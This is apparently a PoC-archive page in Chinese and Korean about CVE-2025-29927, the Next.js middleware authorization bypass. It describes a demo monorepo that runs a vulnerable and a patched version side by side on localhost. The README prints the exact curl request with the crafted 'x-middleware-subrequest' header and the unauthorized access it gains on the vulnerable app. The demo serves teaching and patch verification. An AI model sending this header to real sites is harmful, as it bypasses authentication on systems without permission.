POC详情: 73f7adaff9ee5d418b9829482796f13850f34202

来源
关联漏洞
标题: Next.js 安全漏洞 (CVE-2025-29927)
描述:Next.js是Vercel开源的一个 React 框架。 Next.js 14.2.25之前版本和15.2.3之前版本存在安全漏洞,该漏洞源于如果授权检查发生在中间件中,可能绕过授权检查。
描述
vulnerable-nextjs-14-CVE-2025-29927
介绍
# Next.js CVE-2025-29927 미들웨어 취약점

이 레포지토리는 Next.js 15.2.3 버전과 Next.js 15.1.7 버전을 사용하여 CVE-2025-29927 미들웨어 취약점을 비교해볼 수 있는 모노레포 프로젝트입니다.

## 취약점 설명

CVE-2025-29927는 Next.js의 미들웨어에서 발견된 보안 취약점으로, x-middleware-subrequest 헤더를 사용하여 인증 미들웨어를 우회할 수 있는 문제입니다.
이 취약점은 다음 버전에서 영향을 받으며:

- Next.js 15.x < 15.2.3
- Next.js 14.x < 14.2.25
- Next.js 13.x < 13.5.9
  위 버전들은 각각 해당 패치 버전으로 업데이트하여 해결되었습니다.

## 실행 방법

1. 저장소를 클론합니다.
2. 의존성을 설치합니다. : `pnpm install`
3. 개발 서버를 실행합니다. : `pnpm dev`
4. 각 앱에 접속

- 패치된 버전 (15.2.3): http://localhost:3000
- 취약한 버전 (15.1.7): http://localhost:3001

5. 토큰 없이 /api/protected 엔드포인트에 접근하면 접근이 거부됩니다.

```
$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}

$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
```

6. 유효한 토큰을 제공하면 보호된 엔드포인트에 성공적으로 접근할 수 있습니다.

```
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
```

7. 취약점을 이용해 미들웨어를 우회합니다.

```
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}
```

## 프로젝트 구조

```
nextjs-cve-2025-29927/
├── apps/
│   ├── next15_1_7/  # 취약한 버전
│   └── next15_2_3/  # 패치된 버전
├── packages/
│   └── ui/          # 공유 UI 컴포넌트
└── README.md
```

## 참고링크

- [vercel블로그](https://vercel.com/blog/postmortem-on-next-js-middleware-bypass)
- [DevStefanCho유투브](https://www.youtube.com/watch?v=6PswGPu642Y&t=229s&ab_channel=DevStefanCho)
- https://hackyboiz.github.io/2025/03/27/bekim/2025-03-27/
- https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
- https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
- https://github.com/lirantal/vulnerable-nextjs-14-CVE-2025-29927
文件快照

[4.0K] /data/pocs/73f7adaff9ee5d418b9829482796f13850f34202 ├── [4.0K] apps │   ├── [4.0K] next15_1_7 │   │   ├── [4.0K] app │   │   │   ├── [4.0K] api │   │   │   │   └── [4.0K] protected │   │   │   │   └── [ 160] route.js │   │   │   ├── [ 25K] favicon.ico │   │   │   ├── [ 23] globals.css │   │   │   ├── [ 352] layout.tsx │   │   │   └── [2.1K] page.tsx │   │   ├── [ 136] eslint.config.js │   │   ├── [ 430] middleware.js │   │   ├── [ 92] next.config.js │   │   ├── [ 791] package.json │   │   ├── [ 51] postcss.config.mjs │   │   ├── [1.4K] README.md │   │   └── [ 351] tsconfig.json │   └── [4.0K] next15_2_4 │   ├── [4.0K] app │   │   ├── [4.0K] api │   │   │   └── [4.0K] protected │   │   │   └── [ 160] route.js │   │   ├── [ 25K] favicon.ico │   │   ├── [ 23] globals.css │   │   ├── [ 352] layout.tsx │   │   └── [2.1K] page.tsx │   ├── [ 136] eslint.config.js │   ├── [ 430] middleware.js │   ├── [ 92] next.config.js │   ├── [ 770] package.json │   ├── [ 51] postcss.config.mjs │   ├── [1.4K] README.md │   └── [ 304] tsconfig.json ├── [ 441] package.json ├── [4.0K] packages │   ├── [4.0K] eslint-config │   │   ├── [ 653] base.js │   │   ├── [1.3K] next.js │   │   ├── [ 634] package.json │   │   ├── [1.1K] react-internal.js │   │   └── [ 72] README.md │   ├── [4.0K] typescript-config │   │   ├── [ 500] base.json │   │   ├── [ 272] nextjs.json │   │   ├── [ 150] package.json │   │   └── [ 136] react-library.json │   └── [4.0K] ui │   ├── [ 131] eslint.config.mjs │   ├── [ 763] package.json │   ├── [ 81] postcss.config.mjs │   ├── [4.0K] src │   │   ├── [ 376] button.tsx │   │   ├── [ 502] card.tsx │   │   └── [ 215] code.tsx │   ├── [ 172] tsconfig.json │   └── [4.0K] turbo │   └── [4.0K] generators │   ├── [ 895] config.ts │   └── [4.0K] templates │   └── [ 192] component.hbs ├── [151K] pnpm-lock.yaml ├── [ 40] pnpm-workspace.yaml ├── [2.6K] README.md └── [ 412] turbo.json 17 directories, 47 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。